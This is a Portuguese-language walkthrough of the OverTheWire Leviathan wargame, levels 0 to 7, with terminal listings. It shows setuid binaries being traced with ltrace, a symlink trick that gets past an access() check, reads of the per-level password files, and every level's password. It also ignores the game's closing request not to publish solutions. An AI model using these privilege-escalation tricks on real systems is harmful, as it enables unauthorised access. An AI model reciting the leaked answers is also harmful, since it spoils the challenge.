## **Desafio: Leviathan**

Ele é composto de 8 *levels* começando pelo 0. Os desafios não são definidos explicitamente, mas basicamente você deve conseguir a senha para o próximo.

#### Leviathan 0

O primeiro passo do desafio é logar com o usuário *leviathan0* via ssh no *server* fornecido pela própria descrição da trilha. A senha também já é dada: *leviathan0*.

```
[lmamede@zoro ~]$ ssh leviathan0@176.9.9.172 -p 2223
This is a OverTheWire game server. More information on http://www.overthewire.org/wargames
leviathan0@176.9.9.172's password: ■
```

Além disso é informado que os dados podem ser encontrados na home correspondente. Usando o comando *Is -lah* na home, pude identificar um diretório oculto **.backup**.

```
.eviathan0@leviathan:~$ ls -lah
total 24K
drwxr-xr-x
          3 root
                                     4.0K Aug 26
                                                  2019
                         root
                                     4.0K Aug 26
drwxr-xr-x 10 root
                                                  2019 ...
                          root
drwxr-x---
            2 leviathan1 leviathan0 4.0K Aug 26
                                                  2019 backup
            1 root
                                      220 May 15
                                                  2017 .bash logout
-rw-r--r--
                          root
-rw-r--r--
            1 root
                          root
                                     3.5K May 15
                                                  2017 .bashrc
                                      675 May 15
                                                  2017 .profile
-rw-r--r--
            1 root
                          root
leviathan0@leviathan:~$
```

Entrando no diretório, encontrei um arquivo chamado **bookmarks.html**, dando um *cat* e um *grep* em busca da palavra "*leviathan1*" encontrei a senha para o próximo desafio.

```
leviathan0@leviathan:~/.backup$ cat bookmarks.html | grep leviathan1
<DT><A HREF="http://leviathan.labs.overthewire.org/passwordus.html | This will be fixed later, the password
for leviathan1 is rioGegei8m" ADD_DATE="1155384634" LAST_CHARSET="ISO-8859-1" ID="rdf:#$2wIU71">password t
o leviathan1</A>
leviathan0@leviathan:~/.backup$
```

## Leviathan 1

Depois de conseguir a senha no desafio anterior, loguei no server com o próximo usuário leviathan1.

```
[lmamede@zoro ~]$ ssh leviathan1@176.9.9.172 -p 2223
This is a OverTheWire game server. More information on http://www.overthewire.org/wargames
leviathan1@176.9.9.172's password: ■
```

Novamente dei um Is -lah na home e o que eu encontrei foi um binário nomeado check.

```
leviathan1@leviathan:~$ ls -lah
total 28K
drwxr-xr-x 2 root
                                  4.0K Aug 26
                                               2019
                        root
drwxr-xr-x 10 root
                                  4.0K Aug 26
                                               2019 ...
                        root
-rw-r--r-- 1 root
                                  220 May 15 2017 .bash logout
                        root
                                  3.5K May 15 2017 .bashrc
-rw-r--r-- 1 root
                        root
r-sr-x--- 1 leviathan2 leviathan1 7.3K Aug 26
                                               2019 check
-rw-r--r-- 1 root
                                  675 May 15 2017 .profile
                        root
.eviathan1@leviathan:~$
```

Executei o binário e ele pedia uma senha.

```
leviathan1@leviathan:~$ ./check
password:
```

Para descobrir a senha, rodei um *Itrace* para verificar as suas chamadas. E digitei uma senha qualquer: teste.

```
leviathan1@leviathan:~$ ltrace ./check
 libc start main(0x804853b, 1, 0xffffd784, 0x8048610 <unfinished ...>
printf("password: ")
                                                                 = 10
getchar(1, 0, 0x65766f6c, 0x646f6700password: teste
                            = 116
getchar(1, 0, 0x65766f6c, 0x646f6700)
                                                                 = 101
getchar(1, 0, 0x65766f6c, 0x646f6700)
                                                                 = 115
strcmp("tes", "sex")
                                                                 = 1
puts("Wrong password, Good Bye ..."Wrong password, Good Bye ...
                             = 29
+++ exited (status 0) +++
leviathan1@leviathan:~$
```

Podemos ver claramente que a comparação de strings é feita com "sex", que provavelmente é a senha correta.

Ao rodar o binário novamente e digitar a senha, ele me abriu uma shell.

```
leviathan1@leviathan:~$ ./check
password: sex
$
```

Dando um *whoami*, verificamos que o usuário da *shell* nada mais é do que o *leviathan2*, o usuário do próximo *level*. E agora, com a permissão adequada, basta olhar o arquivo de senhas, para descobrir a sua:

```
leviathan1@leviathan:-$ ./check
password: sex
$ whoami
leviathan2
$ cat /etc/leviathan_pass/leviathan2
ougahZi8Ta
$ |
```

#### Leviathan 2

Como nos anteriores loguei via ssh no próximo usuário, e ao dar *ls -lah*, identifiquei um binário.

```
leviathan2@leviathan:~$ ls -lah
total 28K
drwxr-xr-x 2 root root 4.0K Aug 26
drwxr-xr-x 10 root root 4.0K Aug 26
                                                         2019
                                        4.0K Aug 26
                                                         2019 ...
-rw-r--r-- 1 root
-rw-r--r-- 1 root
                           root
root
                                         220 May 15 2017 .bash logout
 rw-r--r-- 1 root root 3.5K May 15 r-sr-x--- 1 leviathan3 leviathan2 7.3K Aug 26
                                                         2017 .bashrc
                                                         2019 printfile
-rw-r--r-- 1 root root
                                         675 May 15
                                                         2017 .profile
leviathan2@leviathan:~$
```

#### Ao executá-lo:

```
leviathan2@leviathan:~$ ./printfile
*** File Printer ***
Usage: ./printfile filename
leviathan2@leviathan:~$ ■
```

Seguindo as instruções do próprio binário, testei a saída com o arquivo de senha do próximo usuário, o *leviathan3*, e com o do atual, *leviathan2*.

```
leviathan2@leviathan:~$ ./printfile "/etc/leviathan_pass/leviathan3"
You cant have that file...
leviathan2@leviathan:~$ ./printfile "/etc/leviathan_pass/leviathan2"
/bin/cat: /etc/leviathan pass/leviathan2: Permission denied
leviathan2@leviathan:~$
```

Para saber como funciona esse tratamento para cada arquivo, usei o *Itrace* nas duas chamadas.

Pelo o que podemos ver, a função que faz o controle de acesso é a *access*, e é chamada logo no início do programa. Se o usuário tiver permissão, ela segue para a próxima função *snprintf*.

Podemos observar que a forma como o comando *cat* é usado pela *snprintf* faz com que ele seja suscetível a erro quando o arquivo tiver nome com espaços. Para o *cat* ler nomes com espaço, o nome precisa estar envolto em aspas.

Dá para perceber também que pela forma como access é aplicada ao arquivo, a permissão é verificada de acordo com o dono do arquivo. Assim, para bypassar a access precisamos apenas colocá-la para verificar um arquivo que seja do próprio *leviathan2*. Criamos o arquivo abaixo:

```
leviathan2@leviathan:~$ mkdir /tmp/mHJKiji3o8r43
leviathan2@leviathan:~$ touch "/tmp/mHJKiji3o8r43/bypass teste.txt"
```

Agora, para burlarmos a *snprintf* e fazê-la printar a senha do *leviathan3*, precisamo criar um link simbólico. Aproveitando a brecha do espaço, o link será feito com a primeira palavra do nome do arquivo, ou seja, "bypass".

```
leviathan2@leviathan:~$ ln -s /etc/leviathan_pass/leviathan3 "/tmp/mHJKiji3o8r43/bypass"
leviathan2@leviathan:~$
```

Ao rodarmos o binário novamente, encontramos a senha:

```
leviathan2@leviathan:~$ ./printfile "/tmp/mHJKiji3o8r43/bypass teste.txt"
Ahdiemoo1j
/bin/cat: teste.txt: No such file or directory
leviathan2@leviathan:~$
```

# Leviathan 3 Vamos lá de novo: SSH, ls -lah, binário.

Esse binário, requer uma senha para seguir adiante.

Dando um *Itrace* no binário, pude ver o uso de um *string compare* para a senha de teste que digitei. A comparação é feita com "snlprintf", que deduzi então ser a senha. Executando novamente, agora de posse da senha, consegui acesso a uma *shell*.

```
leviathan3@leviathan:~$ ./level3
Enter the password> snlprintf
[You've got shell]!
$ ■
```

Dando um *whoami*, descobri que estava como *leviathan4*, e, como no outro desafio, bastou dar *cat* no arquivo de senhas.

```
leviathan3@leviathan:~$ ./level3
Enter the password> snlprintf
[You've got shell]!
$ whoami
leviathan4
$ cat /etc/leviathan_pass/leviathan4
vuH0coox6m
$ ■
```

#### Leviathan 4

Aqui encontramos um arquivo oculto na home, com o uso do *ls -lah*. Entrando nele, havia um binário.

Executando o binário, o retorno foi uma série de bytes. Olhando mais afundo com o uso do *ltrace*, vimos que o retorno nada mais era do que o arquivo do *leviathan5*.

Consultando a tabela ASCII, conseguimos a string "Tith4cokei", que nada mais é do que a senha para o próximo desafio.

### Leviathan 5

Encontrei um binário na home, ao executá-lo, obtive a seguinte saída:

```
leviathan5@leviathan:~$ ls -lah
total 28K
                                   4.0K Aug 26 2019
drwxr-xr-x 2 root
                        root
drwxr-xr-x 10 root
                        root
                                   4.0K Aug 26 2019
-rw-r--r-- 1 root root
-rw-r--r-- 1 root root
                                    220 May 15 2017 .bash_logout
                        root
                                   3.5K May 15 2017 .bashrc
-r-sr-x--- 1 leviathan6 leviathan5 7.4K Aug 26 2019 <mark>leviathan5</mark>
          1 root root
-rw-r--r--
                                   675 May 15 2017 .profile
leviathan5@leviathan:~$ ./leviathan5
Cannot find /tmp/file.log
leviathan5@leviathan:~$
```

Rodando o *Itrace*, apenas verificamos o óbvio. O programa tenta buscar esse arquivo /tmp/file.log.

Decido então criar o tal arquivo.

```
leviathan5@leviathan:~$ touch /tmp/file.log
leviathan5@leviathan:~$
```

Aproveitei a permissão para o usuário atual que esse arquivo possui e criei um link simbólico com o arquivo de senha do *leviathan6*.

```
leviathan5@leviathan:~$ ln -s /etc/leviathan_pass/leviathan6 /tmp/file.log
leviathan5@leviathan:~$ ./leviathan5
UgaoFee4li
leviathan5@leviathan:~$
```

Ao executar, obtive a senha do próximo desafio.

## Leviathan 6

No próximo, temos o seguinte binário do qual precisamos descobrir seus 4 dígitos:

```
leviathan6@leviathan:~$ ls -lah
total 28K
drwxr-xr-x 2 root root 4.0K Aug 26 2019
drwxr-xr-x 10 root root 4.0K Aug 26 2019
-rw-r--r-- 1 root root 220 May 15 2017 .bash_logout
-rw-r--r-- 1 root root 3.5K May 15 2017 .bashrc
-r-sr-x--- 1 leviathan7 leviathan6 7.3K Aug 26 2019 leviathan6
-rw-r--r-- 1 root root 675 May 15 2017 .profile
leviathan6@leviathan:~$ ./leviathan6
usage: ./leviathan6 <4 digit code>
leviathan6@leviathan:~$ ■
```

Não tem muito o que se descobrir com o *ltrace*, de modo que nossa melhor opção é o *Bruteforce*. Então rodei um código em *shellscript* que percorre todos os número de 0000 a 9999.

Wrong Wrong Wrong Wrong Wrong Wrong Wrong Como não eram muitos dígitos o resultado foi bem rápido me retornando uma *shell* com o usuário do próximo. Dei *cat* no seu arquivo de senha:

```
Wrong
Wrong
Wrong
$ whoami
leviathan7
$ cat /etc/leviathan_pass/leviathan7
ahy7MaeBo9
$ ■
```

Leviathan 7
Finalmente, o último desafio dessa trilha.

```
leviathan7@leviathan:~$ ls -lah

total 24K

drwxr-xr-x 2 root root 4.0K Aug 26 2019 .

drwxr-xr-x 10 root root 220 May 15 2017 .bash_logout

-rw-r--r-- 1 root root 3.5K May 15 2017 .bashrc

-r--r--- 1 leviathan7 leviathan7 178 Aug 26 2019 CONGRATULATIONS

-rw-r--r-- 1 root root 675 May 15 2017 .profile

leviathan7@leviathan:~$ cat CONGRATULATIONS

Well Done, you seem to have used a *nix system before, now try something more serious.

(Please don't post writeups, solutions or spoilers about the games on the web. Thank you!)

leviathan7@leviathan:~$

■
```